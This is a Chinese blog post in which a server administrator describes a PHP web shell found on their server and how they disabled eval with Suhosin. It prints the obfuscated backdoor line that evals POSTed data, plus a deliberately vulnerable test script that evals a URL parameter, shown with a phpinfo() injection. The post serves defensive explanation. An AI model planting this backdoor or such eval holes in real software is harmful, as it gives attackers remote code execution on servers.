关闭

中木马了

832人阅读 评论(3) 收藏 举报

服务器中了木马,代码如下:

($b4dboy = $_POST['aaa']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');

原理:

这段代码将post进来的数据直接调用eval执行。来个更简单的,保存为test.php:

<?php
// filename: test.php
$var = "var";

if (isset($_GET["arg"]))

{

  $arg = $_GET["arg"];

  eval("\$var = $arg;"); // 这一句容易写错,导致验证效果不对

  echo $var;

}
?>

然后访问服务器:http://www.xxx.com/test.php?arg=phpinfo(),看看白花花的系统配置输出,就能体会到危险性了。



解决方案:

看来得把eval禁用掉了。用SUHOSIN。详见下面的评论。



如何测试是否禁用成功,增加程序test.php:

<?php
//  例子来源:http://www.php.net/manual/zh/function.eval.php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
eval("\$str = \"$str\";");
echo $str. "\n";
?>

如果能打印出This is a cup with my coffee in it. 说明没有禁用成功。如果返回500错误,说明禁用成功。



方法二:通过命令行运行test.php,会输出下面的错误,表示禁用成功了:

[root@AY]# php test.php
PHP Fatal error:  SUHOSIN - Use of eval is forbidden by configuration in /home/domain/test.php(6) : eval()'d code on line 1


0
0

查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    个人资料
    • 访问:1338839次
    • 积分:16737
    • 等级:
    • 排名:第619名
    • 原创:408篇
    • 转载:77篇
    • 译文:5篇
    • 评论:358条
    文章存档
    最新评论
    访问统计